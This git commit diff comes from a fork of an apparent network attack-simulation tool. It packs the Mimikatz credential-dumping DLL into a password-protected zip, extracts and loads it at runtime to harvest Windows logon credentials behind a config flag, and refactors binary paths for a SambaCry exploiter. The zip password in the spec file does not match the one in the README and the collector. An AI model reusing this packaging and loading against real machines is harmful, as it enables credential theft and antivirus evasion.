forked from p34709852/monkey
Make mimikatz inside zip and extract only if config says so
This commit is contained in:
parent
203943bf27
commit
cdc576e77e
|
@ -273,13 +273,12 @@ class Configuration(object):
|
||||||
|
|
||||||
# system info collection
|
# system info collection
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
should_use_mimikatz = True
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# systeminfo config
|
# systeminfo config
|
||||||
###########################
|
###########################
|
||||||
|
|
||||||
mimikatz_dll_name = "mk.dll"
|
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -19,7 +19,8 @@ import monkeyfs
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import DROPPER_ARG
|
from model import DROPPER_ARG
|
||||||
from network.smbfinger import SMB_SERVICE
|
from network.smbfinger import SMB_SERVICE
|
||||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||||
|
from pyinstaller_utils import get_binary_file_path
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
def get_monkey_runner_bin_file(self, is_32bit):
|
def get_monkey_runner_bin_file(self, is_32bit):
|
||||||
if is_32bit:
|
if is_32bit:
|
||||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||||
else:
|
else:
|
||||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
||||||
|
|
|
@ -471,13 +471,6 @@ def build_monkey_commandline(target_host, depth, location=None):
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def get_binaries_dir_path():
|
|
||||||
if getattr(sys, 'frozen', False):
|
|
||||||
return sys._MEIPASS
|
|
||||||
else:
|
|
||||||
return os.path.dirname(os.path.abspath(__file__))
|
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
return WormConfiguration.depth
|
return WormConfiguration.depth
|
||||||
|
|
|
@ -1,22 +1,37 @@
|
||||||
# -*- mode: python -*-
|
# -*- mode: python -*-
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
# Name of zip file that will be created
|
||||||
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||||
|
MIMIKATZ_ZIP_NAME_MONKEY = MIMIKATZ_ZIP_NAME
|
||||||
|
# Name of mimikatz dll in zip archive
|
||||||
|
MIMIKATZ_DLL_NAME_ZIP = 'tmpzipfile123456.dll'
|
||||||
|
# Password for mimikatz zip
|
||||||
|
MIMIKATZ_ZIP_PASSWORD = 'HEDFGFDSgfsdg4235342#@$^@#shd35'
|
||||||
|
|
||||||
|
|
||||||
|
def get_mimikatz_zip_path():
|
||||||
|
if platform.architecture()[0] == "32bit":
|
||||||
|
return '.\\bin\\mk32.zip'
|
||||||
|
else:
|
||||||
|
return '.\\bin\\mk64.zip'
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.', '..'],
|
pathex=['.', '..'],
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
hiddenimports=['_cffi_backend', 'queue'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows") >= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
if platform.architecture()[0] == "32bit":
|
a.binaries += [(MIMIKATZ_ZIP_NAME_MONKEY, get_mimikatz_zip_path(), 'BINARY')]
|
||||||
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
|
||||||
else:
|
|
||||||
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
pyz = PYZ(a.pure)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
|
|
|
@ -0,0 +1,24 @@
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
def get_binaries_dir_path():
|
||||||
|
"""
|
||||||
|
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
|
||||||
|
:return: Binaries dir path
|
||||||
|
"""
|
||||||
|
if getattr(sys, 'frozen', False):
|
||||||
|
return sys._MEIPASS
|
||||||
|
else:
|
||||||
|
return os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
||||||
|
def get_binary_file_path(filename):
|
||||||
|
"""
|
||||||
|
Gets the path to a binary file
|
||||||
|
:param filename: name of the file
|
||||||
|
:return: Path to file
|
||||||
|
"""
|
||||||
|
return os.path.join(get_binaries_dir_path(), filename)
|
|
@ -70,4 +70,8 @@ Sambacry requires two standalone binaries to execute remotely.
|
||||||
|
|
||||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||||
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
||||||
Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
|
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
|
||||||
|
Alternatively, if you build Mimikatz, put each version in a zip file.
|
||||||
|
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
||||||
|
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
||||||
|
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
|
@ -2,6 +2,9 @@ import binascii
|
||||||
import ctypes
|
import ctypes
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -13,12 +16,30 @@ class MimikatzCollector(object):
|
||||||
Password collection module for Windows using Mimikatz.
|
Password collection module for Windows using Mimikatz.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
||||||
try:
|
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
||||||
|
|
||||||
self._isInit = False
|
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
||||||
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
|
||||||
|
# Password to Mimikatz zip file
|
||||||
|
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
self._isInit = False
|
||||||
|
self._dll = None
|
||||||
|
self._collect = None
|
||||||
|
self._get = None
|
||||||
|
self.init_mimikatz()
|
||||||
|
|
||||||
|
def init_mimikatz(self):
|
||||||
|
try:
|
||||||
|
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
||||||
|
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
||||||
|
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
||||||
|
|
||||||
|
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
||||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
self._collect = collect_proto(("collect", self._dll))
|
||||||
|
|
|
@ -15,6 +15,7 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(WindowsInfoCollector, self).__init__()
|
super(WindowsInfoCollector, self).__init__()
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
"""
|
"""
|
||||||
|
@ -28,7 +29,13 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
self.get_azure_info()
|
self.get_azure_info()
|
||||||
mimikatz_collector = MimikatzCollector()
|
self._get_mimikatz_info()
|
||||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
|
||||||
self.info["credentials"].update(mimikatz_info)
|
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
def _get_mimikatz_info(self):
|
||||||
|
if self._config.should_use_mimikatz:
|
||||||
|
LOG.info("Using mimikatz")
|
||||||
|
self.info["credentials"].update(MimikatzCollector().get_logon_info())
|
||||||
|
else:
|
||||||
|
LOG.info("Not using mimikatz")
|
||||||
|
|
|
@ -29,3 +29,4 @@ def is_64bit_python():
|
||||||
|
|
||||||
def is_windows_os():
|
def is_windows_os():
|
||||||
return sys.platform.startswith("win")
|
return sys.platform.startswith("win")
|
||||||
|
|
||||||
|
|
|
@ -279,6 +279,31 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"system_info": {
|
||||||
|
"title": "System info",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"extract_azure_creds": {
|
||||||
|
"title": "Harvest Azure Credentials",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||||
|
},
|
||||||
|
"collect_system_info": {
|
||||||
|
"title": "Collect system info",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to collect system info"
|
||||||
|
},
|
||||||
|
"should_use_mimikatz": {
|
||||||
|
"title": "Should use Mimikatz",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to use Mimikatz"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
"life_cycle": {
|
"life_cycle": {
|
||||||
"title": "Life cycle",
|
"title": "Life cycle",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
@ -339,12 +364,6 @@ SCHEMA = {
|
||||||
"description":
|
"description":
|
||||||
"The name of the mutex used to determine whether the monkey is already running"
|
"The name of the mutex used to determine whether the monkey is already running"
|
||||||
},
|
},
|
||||||
"collect_system_info": {
|
|
||||||
"title": "Collect system info",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to collect system info"
|
|
||||||
},
|
|
||||||
"keep_tunnel_open_time": {
|
"keep_tunnel_open_time": {
|
||||||
"title": "Keep tunnel open time",
|
"title": "Keep tunnel open time",
|
||||||
"type": "integer",
|
"type": "integer",
|
||||||
|
@ -536,26 +555,6 @@ SCHEMA = {
|
||||||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
|
||||||
"systemInfo": {
|
|
||||||
"title": "System collection",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"mimikatz_dll_name": {
|
|
||||||
"title": "Mimikatz DLL name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "mk.dll",
|
|
||||||
"description":
|
|
||||||
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
|
||||||
},
|
|
||||||
"extract_azure_creds": {
|
|
||||||
"title": "Harvest Azure Credentials",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
Loading…
Reference in New Issue